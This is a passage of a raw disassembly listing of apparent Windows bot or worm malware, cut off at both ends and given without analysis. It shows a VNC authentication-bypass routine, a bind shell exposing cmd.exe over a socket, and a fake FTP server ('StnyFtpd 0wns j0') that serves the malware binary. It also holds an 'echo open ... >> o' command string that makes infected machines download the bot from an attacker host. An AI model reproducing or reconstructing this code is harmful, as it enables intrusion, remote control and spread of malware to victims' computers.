; CODE XREF: _0:0040EB4Aj call ds:dword_4E3060 ; closesocket xor eax, eax jmp loc_40EDAE ; --------------------------------------------------------------------------- loc_40EB8D: ; CODE XREF: _0:0040EB7Dj push edi lea eax, [ebp-38h] push 0Ch push eax push ebx call sub_40EAA5 add esp, 0Ch test eax, eax jz loc_40EDA2 lea eax, [ebp-20h] and byte ptr [ebp-2Ch], 0 push eax lea eax, [ebp-28h] push eax lea eax, [ebp-38h] push offset dword_44A3D8 push eax call sub_41FF30 add esp, 10h cmp eax, esi jnz loc_40EDA2 cmp dword ptr [ebp-28h], 3 jz short loc_40EBDA cmp dword ptr [ebp-20h], 8 jnz loc_40EDA2 loc_40EBDA: ; CODE XREF: _0:0040EBCEj lea eax, [ebp-38h] push 0Ch push eax push ebx call sub_40EADE add esp, 0Ch test eax, eax jz loc_40EDA2 lea eax, [ebp-3Ch] push esi push eax push ebx call sub_40EAA5 add esp, 0Ch test eax, eax jz loc_40EDA2 lea eax, [ebp-2] push 1 push eax push ebx call sub_40EADE add esp, 0Ch test eax, eax jz loc_40EDA2 lea eax, [ebp-24h] push 4 push eax push ebx call sub_40EAA5 add esp, 0Ch test eax, eax jz loc_40EDA2 mov eax, [ebp-24h] mov edi, 0FF0000h mov ecx, eax mov edx, eax and ecx, edi mov esi, 0FF00h shr edx, 10h or ecx, edx mov edx, eax shl edx, 10h and eax, esi or edx, eax shr ecx, 8 shl edx, 8 or ecx, edx mov [ebp-24h], ecx jnz loc_40EDA2 push 1 push offset dword_4E5CEC push ebx call sub_40EADE add esp, 0Ch test eax, eax jz loc_40EDA2 lea eax, [ebp-1Ch] push 18h push eax push ebx call sub_40EAA5 add esp, 0Ch test eax, eax jz loc_40EDA2 mov ecx, [ebp-1Ch] xor edx, edx mov dl, [ebp-1Bh] mov eax, 0FFh shl ecx, 8 xor dl, cl and dx, ax xor edx, ecx mov ecx, [ebp-1Ah] mov [ebp-1Ch], dx xor edx, edx mov dl, [ebp-19h] shl ecx, 8 xor dl, cl and dx, ax xor edx, ecx mov ecx, [ebp-14h] mov [ebp-1Ah], dx xor edx, edx mov dl, [ebp-13h] shl ecx, 8 xor dl, cl and dx, ax xor edx, ecx mov ecx, [ebp-12h] mov [ebp-14h], dx xor edx, edx mov dl, [ebp-11h] shl ecx, 8 xor dl, cl and dx, ax xor edx, ecx mov ecx, [ebp-10h] mov [ebp-12h], dx xor edx, edx mov dl, [ebp-0Fh] shl ecx, 8 xor dl, cl and dx, ax xor edx, ecx mov ecx, [ebp-8] mov [ebp-10h], dx mov eax, ecx mov edx, ecx and eax, edi shr edx, 10h or eax, edx mov edx, ecx shl edx, 10h and ecx, esi or edx, ecx shr eax, 8 shl edx, 8 or eax, edx mov [ebp-8], eax add eax, 2 push eax call sub_420C30 push dword ptr [ebp-8] mov esi, eax push esi push ebx call sub_40EDB2 lea eax, [ebp+0Ch] push eax push esi push dword ptr [ebp-20h] lea eax, [ebp-24Ch] push dword ptr [ebp-28h] push offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]" push 200h push eax call sub_41EC30 push 0 lea eax, [ebp-24Ch] push dword ptr [ebp+0B8h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_409C75 add esp, 40h lea eax, [ebp-24Ch] push eax call sub_415A3C mov eax, [ebp+0B0h] xor esi, esi shl eax, 6 pop ecx lea eax, dword_4481F8[eax] inc dword ptr [eax] inc esi jmp short loc_40EDA4 ; --------------------------------------------------------------------------- loc_40EDA2: ; CODE XREF: _0:0040EB9Fj _0:0040EBC4j ... xor esi, esi loc_40EDA4: ; CODE XREF: _0:0040EDA0j push ebx call ds:dword_4F5538 ; closesocket mov eax, esi pop edi loc_40EDAE: ; CODE XREF: _0:0040EB88j pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= sub_40EDB2 proc near ; CODE XREF: _0:0040ED3Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_8] push edi mov edi, [esp+8+arg_4] test esi, esi jle short loc_40EDCE push esi push edi push [esp+10h+arg_0] call sub_40EAA5 add esp, 0Ch loc_40EDCE: ; CODE XREF: sub_40EDB2+Cj and byte ptr [edi+esi], 0 pop edi pop esi retn sub_40EDB2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_40EDD5 proc near ; DATA XREF: sub_40EE63+15Bo var_404 = byte ptr -404h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 404h loc_40EDDE: ; CODE XREF: sub_40EDD5+25j ; sub_40EDD5+41j push 0 lea eax, [ebp+var_404] push 400h push eax push ds:dword_4E5D00 call ds:dword_4E2FE0 ; recv test eax, eax jle short loc_40EDDE lea ecx, [ebp+var_4] push 0 push ecx push eax lea eax, [ebp+var_404] push eax push ds:dword_4E5CFC call ds:dword_4F53B4 ; WriteFile jmp short loc_40EDDE sub_40EDD5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_40EE18 proc near ; DATA XREF: sub_40EE63+142o var_404 = byte ptr -404h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 404h loc_40EE21: ; CODE XREF: sub_40EE18+2Fj ; sub_40EE18+49j lea eax, [ebp+var_4] and [ebp+var_4], 0 push 0 push eax lea eax, [ebp+var_404] push 400h push eax push ds:dword_4E5CF0 call ds:off_4F53BC cmp [ebp+var_4], 0 jle short loc_40EE21 push 0 lea eax, [ebp+var_404] push [ebp+var_4] push eax push ds:dword_4E5D00 call ds:dword_4E3018 ; send jmp short loc_40EE21 sub_40EE18 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_40EE63 proc near ; DATA XREF: sub_401C87+2D05o var_11C = byte ptr -11Ch var_98 = dword ptr -98h var_7C = dword ptr -7Ch var_50 = dword ptr -50h var_4C = word ptr -4Ch var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = byte ptr -3Ch var_38 = word ptr -38h var_36 = word ptr -36h var_28 = dword ptr -28h var_24 = dword ptr -24h var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 11Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 28h mov esi, eax pop ecx lea edi, [ebp+var_11C] rep movsd xor esi, esi xor edi, edi inc esi push 10h mov [eax+98h], esi lea eax, [ebp+var_38] push edi push eax call sub_41E4B0 add esp, 0Ch mov [ebp+var_38], 2 push [ebp+var_98] call ds:dword_4E2FC8 ; htons push 6 push esi push 2 mov [ebp+var_36], ax call ds:dword_4E3048 ; socket mov [ebp+arg_0], eax lea eax, [ebp+var_38] push 10h push eax push [ebp+arg_0] call ds:dword_4E2FF4 ; bind push 5 push [ebp+arg_0] call ds:dword_4E2FF0 ; listen mov ebx, ds:dword_4F53D0 mov esi, ds:off_4F533C loc_40EEE3: ; CODE XREF: sub_40EE63+1CBj push edi push edi push [ebp+arg_0] call ds:dword_4E305C ; accept mov ds:dword_4E5D00, eax lea eax, [ebp+var_C] push edi push eax push offset dword_4E5CFC push offset dword_4E5CF8 mov [ebp+var_C], 0Ch mov [ebp+var_4], 1 mov [ebp+var_8], edi call ebx ; CreatePipe lea eax, [ebp+var_C] push edi push eax push offset dword_4E5CF4 push offset dword_4E5CF0 call ebx ; CreatePipe push 44h lea eax, [ebp+var_7C] push edi push eax call sub_41E4B0 mov eax, ds:dword_4E5CF8 add esp, 0Ch mov [ebp+var_44], eax mov eax, ds:dword_4E5CF4 mov [ebp+var_40], eax push edi push 1 lea eax, [ebp+var_3C] push 2 push eax mov [ebp+var_7C], 44h mov [ebp+var_50], 101h mov [ebp+var_4C], di call ds:dword_4F53CC ; GetCurrentProcess push eax push ds:dword_4E5CF4 call ds:dword_4F53CC ; GetCurrentProcess push eax call ds:dword_4F53C8 ; DuplicateHandle lea eax, [ebp+var_28] push eax lea eax, [ebp+var_7C] push eax push edi push edi push 4000090h lea eax, [ebp+var_C] push 1 push eax lea eax, [ebp+var_C] push eax push offset aCmd_exe ; "cmd.exe" push edi call ds:dword_4F5340 ; CreateProcessA lea eax, [ebp+var_18] push eax push edi push edi push offset sub_40EE18 lea eax, [ebp+var_C] push edi push eax call ds:dword_4F5350 ; CreateThread mov [ebp+var_14], eax lea eax, [ebp+var_18] push eax push edi push edi push offset sub_40EDD5 lea eax, [ebp+var_C] push edi push eax call ds:dword_4F5350 ; CreateThread push 0FFFFFFFFh mov [ebp+var_10], eax push [ebp+var_28] call ds:dword_4F5374 ; WaitForSingleObject push edi push [ebp+var_10] call ds:dword_4F5380 ; TerminateThread push edi push [ebp+var_14] call ds:dword_4F5380 ; TerminateThread push [ebp+var_10] call esi ; sub_50B3D5 push [ebp+var_14] call esi ; sub_50B3D5 push edi push [ebp+var_28] call ds:dword_4F53C4 ; TerminateProcess push ds:dword_4E5CF8 call esi ; sub_50B3D5 push ds:dword_4E5CFC call esi ; sub_50B3D5 push ds:dword_4E5CF0 call esi ; sub_50B3D5 push ds:dword_4E5CF4 call esi ; sub_50B3D5 push [ebp+var_24] call esi ; sub_50B3D5 push [ebp+var_28] call esi ; sub_50B3D5 jmp loc_40EEE3 sub_40EE63 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40F033 proc near ; DATA XREF: _2:0043F010o jmp $+5 sub_40F033 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40F038 proc near push 0FFFEh push 400h call sub_419313 pop ecx mov ds:dword_4E5D04, eax pop ecx retn sub_40F038 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F04F proc near ; DATA XREF: sub_40C049+352o var_6C0 = byte ptr -6C0h var_2C0 = byte ptr -2C0h var_C0 = byte ptr -0C0h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A4 = dword ptr -0A4h var_A0 = byte ptr -0A0h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 6C0h mov eax, [ebp+arg_0] push ebx push esi push edi push 27h mov esi, eax pop ecx lea edi, [ebp+var_B0] rep movsd xor esi, esi xor ebx, ebx inc esi push 10h mov [eax+98h], esi lea eax, [ebp+var_14] push ebx push eax call sub_41E4B0 add esp, 0Ch mov [ebp+var_14], 2 push [ebp+var_A4] call ds:dword_4E2FC8 ; htons push ebx push esi push 2 mov [ebp+var_12], ax mov [ebp+var_10], ebx call ds:dword_4E3048 ; socket mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jnz short loc_40F0F6 cmp [ebp+var_1C], ebx jnz short loc_40F0D6 push ebx lea eax, [ebp+var_2C0] push [ebp+var_20] push eax lea eax, [ebp+var_A0] push eax push [ebp+var_B0] call sub_409C75 add esp, 14h loc_40F0D6: ; CODE XREF: sub_40F04F+65j lea eax, [ebp+var_2C0] push eax call sub_415A3C push [ebp+var_AC] call sub_40B9A7 pop ecx pop ecx push ebx call ds:dword_4F53A0 ; ExitThread loc_40F0F6: ; CODE XREF: sub_40F04F+60j mov eax, [ebp+var_AC] push 10h imul eax, 234h mov ds:dword_455F0C[eax], edi lea eax, [ebp+var_14] push eax push edi call ds:dword_4E2FF4 ; bind cmp eax, esi mov ebx, 400h jnz loc_40F1F1 call ds:dword_4E2F5C ; WSAGetLastError cmp eax, 2740h jz short loc_40F176 xor esi, esi cmp [ebp+var_1C], esi jnz short loc_40F156 push esi lea eax, [ebp+var_2C0] push [ebp+var_20] push eax lea eax, [ebp+var_A0] push eax push [ebp+var_B0] call sub_409C75 add esp, 14h loc_40F156: ; CODE XREF: sub_40F04F+E5j lea eax, [ebp+var_2C0] push eax call sub_415A3C push [ebp+var_AC] call sub_40B9A7 pop ecx pop ecx push esi call ds:dword_4F53A0 ; ExitThread loc_40F176: ; CODE XREF: sub_40F04F+DEj push 0FFFEh push ebx call sub_419313 pop ecx mov ds:dword_4E5D04, eax pop ecx mov [ebp+var_12], ax lea eax, [ebp+var_14] push 10h push eax push edi call ds:dword_4E2FF4 ; bind cmp eax, esi jnz short loc_40F1F1 call ds:dword_4E2F5C ; WSAGetLastError xor esi, esi cmp [ebp+var_1C], esi jnz short loc_40F1D1 cmp eax, 2740h jz short loc_40F1D1 push esi lea eax, [ebp+var_2C0] push [ebp+var_20] push eax lea eax, [ebp+var_A0] push eax push [ebp+var_B0] call sub_409C75 add esp, 14h loc_40F1D1: ; CODE XREF: sub_40F04F+159j ; sub_40F04F+160j lea eax, [ebp+var_2C0] push eax call sub_415A3C push [ebp+var_AC] call sub_40B9A7 pop ecx pop ecx push esi call ds:dword_4F53A0 ; ExitThread loc_40F1F1: ; CODE XREF: sub_40F04F+CDj ; sub_40F04F+14Cj push 5 push edi call ds:dword_4E2FF0 ; listen cmp eax, esi jz loc_40F2D6 mov [ebp+var_4], 10h mov esi, offset byte_43F0FC loc_40F20E: ; CODE XREF: sub_40F04F+1D7j ; sub_40F04F+227j ... lea eax, [ebp+var_4] push eax lea eax, [ebp+var_C0] push eax push edi call ds:dword_4E305C ; accept cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_40F20E cmp [ebp+var_1C], 0 jnz short loc_40F24F push 0 lea eax, [ebp+var_2C0] push [ebp+var_20] push eax lea eax, [ebp+var_A0] push eax push [ebp+var_B0] call sub_409C75 add esp, 14h loc_40F24F: ; CODE XREF: sub_40F04F+1DDj lea eax, [ebp+var_2C0] push eax call sub_415A3C pop ecx lea eax, [ebp+var_2C0] push 0 push 200h push eax push [ebp+arg_0] call ds:dword_4E2FE0 ; recv cmp eax, 0FFFFFFFFh jz short loc_40F20E push esi push esi push ds:dword_4E2D00 push [ebp+var_B0] call sub_40AEAD pop ecx push eax push offset aEchoOpenSDOEch ; "echo open %s %d >> o&echo user 1 >>o &e"... lea eax, [ebp+var_6C0] push ebx push eax call sub_41EC30 add esp, 1Ch lea eax, [ebp+var_6C0] push 0 push eax call sub_41BC70 pop ecx push eax lea eax, [ebp+var_6C0] push eax push [ebp+arg_0] call ds:dword_4E3018 ; send cmp eax, 0FFFFFFFFh jz loc_40F20E inc ds:dword_4E5D08 jmp loc_40F20E ; --------------------------------------------------------------------------- loc_40F2D6: ; CODE XREF: sub_40F04F+1ADj push edi call ds:dword_4E3060 ; closesocket push [ebp+var_AC] call sub_40B9A7 pop ecx push 0 call ds:dword_4F53A0 ; ExitThread sub_40F04F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F2F1 proc near ; DATA XREF: sub_40C049+22Bo var_A70 = byte ptr -0A70h var_8E0 = byte ptr -8E0h var_6E0 = dword ptr -6E0h var_4C8 = byte ptr -4C8h var_448 = dword ptr -448h var_444 = dword ptr -444h var_43C = dword ptr -43Ch var_338 = byte ptr -338h var_2D4 = byte ptr -2D4h var_2A0 = byte ptr -2A0h var_23C = dword ptr -23Ch var_238 = dword ptr -238h var_234 = dword ptr -234h var_138 = byte ptr -138h var_128 = byte ptr -128h var_FC = byte ptr -0FCh var_C8 = byte ptr -0C8h var_B0 = byte ptr -0B0h var_4C = word ptr -4Ch var_4A = word ptr -4Ah var_48 = dword ptr -48h var_3C = byte ptr -3Ch var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A70h mov eax, [ebp+arg_0] push ebx push esi push edi xor ebx, ebx mov ecx, 0A9h mov esi, eax lea edi, [ebp+var_6E0] inc ebx rep movsd mov [eax+2A0h], ebx lea eax, [ebp+var_A70] xor esi, esi push eax push 101h mov [ebp+var_1C], ebx mov [ebp+var_2C], ebx mov [ebp+var_24], ebx mov [ebp+var_23C], esi mov [ebp+var_43C], esi call ds:dword_4F550C ; WSAStartup push esi push ebx push 2 call ds:dword_4F553C ; socket mov esi, ds:dword_4F5510 lea ecx, [ebp+var_1C] push 4 push ecx mov edi, 0FFFFh push 4 push edi push eax mov [ebp+var_8], eax call esi ; setsockopt lea eax, [ebp+var_2C] push 4 push eax push 0FFFFFFFBh push edi mov edi, [ebp+var_8] push edi call esi ; setsockopt lea eax, [ebp+var_24] push eax push 8004667Eh push edi call ds:dword_4F5514 ; ioctlsocket mov ax, word ptr ds:dword_4E2D00 and [ebp+var_48], 0 push eax mov [ebp+var_4C], 2 call ds:dword_4E2FC8 ; htons mov [ebp+var_4A], ax lea eax, [ebp+var_4C] push 10h push eax push edi call ds:dword_4F5518 ; bind test eax, eax jge short loc_40F3B7 mov eax, ebx jmp loc_40F902 ; --------------------------------------------------------------------------- loc_40F3B7: ; CODE XREF: sub_40F2F1+BDj push 0Ah push edi call ds:dword_4F551C ; listen mov [ebp+var_23C], ebx mov ebx, ds:dword_4F5540 mov [ebp+var_238], edi mov [ebp+var_4], edi loc_40F3D5: ; CODE XREF: sub_40F2F1+11Bj ; sub_40F2F1+609j push 41h lea esi, [ebp+var_23C] pop ecx lea edi, [ebp+var_43C] rep movsd xor edi, edi lea eax, [ebp+var_43C] push edi push edi push edi push eax mov eax, [ebp+var_4] inc eax push eax call ds:dword_4F5544 ; select cmp eax, 0FFFFFFFFh jz loc_40F8FF cmp [ebp+var_4], edi mov [ebp+arg_0], edi jl short loc_40F3D5 loc_40F40E: ; CODE XREF: sub_40F2F1+603j xor esi, esi push 64h lea eax, [ebp+var_2A0] push esi push eax call sub_41E4B0 push 64h lea eax, [ebp+var_B0] push esi push eax call sub_41E4B0 add esp, 18h lea eax, [ebp+var_43C] push eax push edi call sub_43A942 ; __WSAFDIsSet test eax, eax jz loc_40F8ED cmp edi, [ebp+var_8] jnz short loc_40F4B7 lea eax, [ebp+var_10] mov [ebp+var_10], 10h push eax lea eax, [ebp+var_138] push eax push [ebp+var_8] call ds:dword_4F5520 ; accept cmp eax, 0FFFFFFFFh jz loc_40F8ED mov edx, [ebp+var_23C] xor ecx, ecx cmp edx, esi jbe short loc_40F489 loc_40F47B: ; CODE XREF: sub_40F2F1+196j cmp [ebp+ecx*4+var_238], eax jz short loc_40F489 inc ecx cmp ecx, edx jb short loc_40F47B loc_40F489: ; CODE XREF: sub_40F2F1+188j ; sub_40F2F1+191j cmp ecx, edx jnz short loc_40F49F cmp edx, 40h jnb short loc_40F49F mov [ebp+ecx*4+var_238], eax inc [ebp+var_23C] loc_40F49F: ; CODE XREF: sub_40F2F1+19Aj ; sub_40F2F1+19Fj cmp eax, [ebp+var_4] jle short loc_40F4A7 mov [ebp+var_4], eax loc_40F4A7: ; CODE XREF: sub_40F2F1+1B1j push esi push 15h push offset a220Stnyftpd0wn ; "220 StnyFtpd 0wns j0\n" push eax call ebx ; send jmp loc_40F8ED ; --------------------------------------------------------------------------- loc_40F4B7: ; CODE XREF: sub_40F2F1+158j push esi lea eax, [ebp+var_2A0] push 64h push eax push edi call ds:dword_4F5534 ; recv test eax, eax jg short loc_40F514 mov ecx, [ebp+var_23C] xor eax, eax cmp ecx, esi jbe short loc_40F508 loc_40F4D8: ; CODE XREF: sub_40F2F1+1F3j cmp [ebp+eax*4+var_238], edi jz short loc_40F4FD inc eax cmp eax, ecx jb short loc_40F4D8 jmp short loc_40F508 ; --------------------------------------------------------------------------- loc_40F4E8: ; CODE XREF: sub_40F2F1+20Fj mov ecx, [ebp+eax*4+var_234] mov [ebp+eax*4+var_238], ecx mov ecx, [ebp+var_23C] inc eax loc_40F4FD: ; CODE XREF: sub_40F2F1+1EEj dec ecx cmp eax, ecx jb short loc_40F4E8 dec [ebp+var_23C] loc_40F508: ; CODE XREF: sub_40F2F1+1E5j ; sub_40F2F1+1F5j push edi call ds:dword_4F5538 ; closesocket jmp loc_40F8ED ; --------------------------------------------------------------------------- loc_40F514: ; CODE XREF: sub_40F2F1+1D9j lea eax, [ebp+var_338] push eax lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_2A0] push offset aSS_1 ; "%s %s" push eax call sub_41FF30 lea eax, [ebp+var_B0] push offset aUser_1 ; "USER" push eax call sub_41F7E0 add esp, 18h test eax, eax jnz short loc_40F558 push esi push 16h push offset a331PasswordReq ; "331 Password required\n" jmp loc_40F8D8 ; --------------------------------------------------------------------------- loc_40F558: ; CODE XREF: sub_40F2F1+258j lea eax, [ebp+var_B0] push offset aPass ; "PASS" push eax call sub_41F7E0 pop ecx test eax, eax pop ecx jnz short loc_40F57C push esi push 14h push offset a230UserLoggedI ; "230 User logged in.\n" jmp loc_40F8D8 ; --------------------------------------------------------------------------- loc_40F57C: ; CODE XREF: sub_40F2F1+27Cj lea eax, [ebp+var_B0] push offset aSyst ; "SYST" push eax call sub_41F7E0 pop ecx test eax, eax pop ecx jnz short loc_40F5A0 push esi push 0Dh push offset a215Stnyftpd ; "215 StnyFtpd\n" jmp loc_40F8D8 ; --------------------------------------------------------------------------- loc_40F5A0: ; CODE XREF: sub_40F2F1+2A0j lea eax, [ebp+var_B0] push offset aRest ; "REST" push eax call sub_41F7E0 pop ecx test eax, eax pop ecx jnz short loc_40F5C4 push esi push 10h push offset a350Restarting_ ; "350 Restarting.\n" jmp loc_40F8D8 ; --------------------------------------------------------------------------- loc_40F5C4: ; CODE XREF: sub_40F2F1+2C4j lea eax, [ebp+var_B0] push offset off_44A514 push eax call sub_41F7E0 pop ecx test eax, eax pop ecx jnz short loc_40F5E8 push esi push 1Eh push offset a257IsCurrentDi ; "257 \"/\" is current directory.\n" jmp loc_40F8D8 ; --------------------------------------------------------------------------- loc_40F5E8: ; CODE XREF: sub_40F2F1+2E8j lea eax, [ebp+var_B0] push offset aType ; "TYPE" push eax call sub_41F7E0 pop ecx test eax, eax pop ecx jnz short loc_40F623 lea eax, [ebp+var_338] push offset aA_0 ; "A" push eax call sub_41F7E0 pop ecx test eax, eax pop ecx jnz short loc_40F623 push esi push 13h push offset a200TypeSetToA_ ; "200 Type set to A.\n" jmp loc_40F8D8 ; --------------------------------------------------------------------------- loc_40F623: ; CODE XREF: sub_40F2F1+30Cj ; sub_40F2F1+323j lea eax, [ebp+var_B0] push offset aType_0 ; "TYPE" push eax call sub_41F7E0 pop ecx test eax, eax pop ecx jnz short loc_40F65E lea eax, [ebp+var_338] push offset aI_0 ; "I" push eax call sub_41F7E0 pop ecx test eax, eax pop ecx jnz short loc_40F65E push esi push 13h push offset a200TypeSetToI_ ; "200 Type set to I.\n" jmp loc_40F8D8 ; --------------------------------------------------------------------------- loc_40F65E: ; CODE XREF: sub_40F2F1+347j ; sub_40F2F1+35Ej lea eax, [ebp+var_B0] push offset aPasv ; "PASV" push eax call sub_41F7E0 pop ecx test eax, eax pop ecx jnz short loc_40F6AC push 0Ah mov esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"... pop ecx lea edi, [ebp+var_128] rep movsd push eax lea eax, [ebp+var_128] push eax movsw call sub_41BC70 pop ecx push eax lea eax, [ebp+var_128] loc_40F69C: ; CODE XREF: sub_40F2F1+3FAj push eax push [ebp+arg_0] call ebx ; send mov edi, [ebp+arg_0] xor esi, esi jmp loc_40F8DB ; --------------------------------------------------------------------------- loc_40F6AC: ; CODE XREF: sub_40F2F1+382j lea eax, [ebp+var_B0] push offset aList_0 ; "LIST" push eax call sub_41F7E0 pop ecx test eax, eax pop ecx jnz short loc_40F6ED push 5 mov esi, offset a226TransferCom ; "226 Transfer complete\n" pop ecx lea edi, [ebp+var_C8] rep movsd movsw push eax lea eax, [ebp+var_C8] push eax movsb call sub_41BC70 pop ecx push eax lea eax, [ebp+var_C8] jmp short loc_40F69C ; --------------------------------------------------------------------------- loc_40F6ED: ; CODE XREF: sub_40F2F1+3D0j lea eax, [ebp+var_B0] push offset aPort ; "PORT" push eax call sub_41F7E0 pop ecx test eax, eax pop ecx jnz loc_40F7BE lea eax, [ebp+var_2D4] push eax lea eax, [ebp+var_FC] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_28] push eax lea eax, [ebp+var_2A0] push offset aS_13 ; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"... push eax call sub_41FF30 lea eax, [ebp+var_FC] push eax call sub_41E710 mov [ebp+var_C], eax lea eax, [ebp+var_2D4] push eax call sub_41E710 mov [ebp+arg_0], eax push 32h lea eax, [ebp+var_FC] push esi push eax call sub_41E4B0 push [ebp+arg_0] lea eax, [ebp+var_FC] push [ebp+var_C] push offset aXX ; "%x%x\n" push eax call sub_41EA60 add esp, 44h lea eax, [ebp+var_FC] push 10h push esi push eax call sub_41F450 mov [ebp+var_C], eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_28] push eax lea eax, [ebp+var_3C] push offset aS_S_S_S ; "%s.%s.%s.%s" push eax call sub_41EA60 add esp, 24h push esi push 1Dh push offset a200PortCommand ; "200 PORT command successful.\n" jmp loc_40F8D8 ; --------------------------------------------------------------------------- loc_40F7BE: ; CODE XREF: sub_40F2F1+411j lea eax, [ebp+var_B0] push offset aRetr ; "RETR" push eax call sub_41F7E0 pop ecx test eax, eax pop ecx jnz loc_40F8B9 push esi push 28h push offset a150OpeningBina ; "150 Opening BINARY mode data connection"... push edi call ebx ; send push [ebp+var_C] lea eax, [ebp+var_3C] push eax call sub_40F909 pop ecx cmp eax, 1 pop ecx jnz loc_40F8AF lea eax, [ebp+var_3C] push eax lea eax, [ebp+var_8E0] push offset aFtpTransferSta ; "ftp transfer started to: %s" push eax call sub_41EA60 add esp, 0Ch cmp [ebp+var_444], esi jnz short loc_40F83E push esi lea eax, [ebp+var_8E0] push [ebp+var_448] push eax lea eax, [ebp+var_4C8] push eax push [ebp+var_6E0] call sub_409C75 add esp, 14h loc_40F83E: ; CODE XREF: sub_40F2F1+528j call sub_40F986 cmp eax, 1 jnz loc_40F8DB push esi push 17h push offset a226TransferC_0 ; "226 Transfer complete.\n" push edi call ebx ; send lea eax, [ebp+var_3C] push eax lea eax, [ebp+var_8E0] push offset aFtpTransferCom ; "ftp transfer complete to: %s" push eax call sub_41EA60 add esp, 0Ch cmp [ebp+var_444], esi jnz short loc_40F89A push esi lea eax, [ebp+var_8E0] push [ebp+var_448] push eax lea eax, [ebp+var_4C8] push eax push [ebp+var_6E0] call sub_409C75 add esp, 14h loc_40F89A: ; CODE XREF: sub_40F2F1+584j lea eax, [ebp+var_8E0] push eax call sub_415A3C inc ds:dword_4E5ACC pop ecx jmp short loc_40F8DB ; --------------------------------------------------------------------------- loc_40F8AF: ; CODE XREF: sub_40F2F1+504j push esi push 20h push offset a425CanTOpenDat ; "425 Can't open data connection.\n" jmp short loc_40F8D8 ; --------------------------------------------------------------------------- loc_40F8B9: ; CODE XREF: sub_40F2F1+4E2j lea eax, [ebp+var_B0] push offset aQuit_1 ; "QUIT" push eax call sub_41F7E0 pop ecx test eax, eax pop ecx jnz short loc_40F8DB push esi push 1Bh push offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n" loc_40F8D8: ; CODE XREF: sub_40F2F1+262j ; sub_40F2F1+286j ... push edi call ebx ; send loc_40F8DB: ; CODE XREF: sub_40F2F1+3B6j ; sub_40F2F1+555j ... push 64h lea eax, [ebp+var_2A0] push esi push eax call sub_41E4B0 add esp, 0Ch loc_40F8ED: ; CODE XREF: sub_40F2F1+14Fj ; sub_40F2F1+178j ... inc edi cmp edi, [ebp+var_4] mov [ebp+arg_0], edi jle loc_40F40E jmp loc_40F3D5 ; --------------------------------------------------------------------------- loc_40F8FF: ; CODE XREF: sub_40F2F1+10Fj xor eax, eax inc eax loc_40F902: ; CODE XREF: sub_40F2F1+C1j pop edi pop esi pop ebx leave retn 4 sub_40F2F1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F909 proc near ; CODE XREF: sub_40F2F1+4FAp var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1A0h lea eax, [ebp+var_1A0] push eax push 101h call ds:dword_4F550C ; WSAStartup push 0 push 1 push 2 call ds:dword_4F553C ; socket push [ebp+arg_0] mov ds:dword_4E5D0C, eax mov [ebp+var_10], 2 call ds:dword_4F5528 ; inet_addr push [ebp+arg_4] mov [ebp+var_C], eax call ds:dword_4F552C ; htons mov [ebp+var_E], ax lea eax, [ebp+var_10] push 10h push eax push ds:dword_4E5D0C call ds:dword_4F5530 ; connect cmp eax, 0FFFFFFFFh jnz short loc_40F981 push ds:dword_4E5D0C call ds:dword_4F5538 ; closesocket call ds:dword_4F5508 ; WSACleanup xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40F981: ; CODE XREF: sub_40F909+60j xor eax, eax inc eax leave retn sub_40F909 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F986 proc near ; CODE XREF: sub_40F2F1:loc_40F83Ep var_504 = byte ptr -504h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 504h push esi lea eax, [ebp+var_104] push 104h push eax push 0 call ds:off_4F5344 lea eax, [ebp+var_104] push offset aRb ; "rb" push eax call sub_41E490 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_40FA1D test byte ptr [esi+0Ch], 10h jnz short loc_40FA01 push edi mov edi, 400h loc_40F9C9: ; CODE XREF: 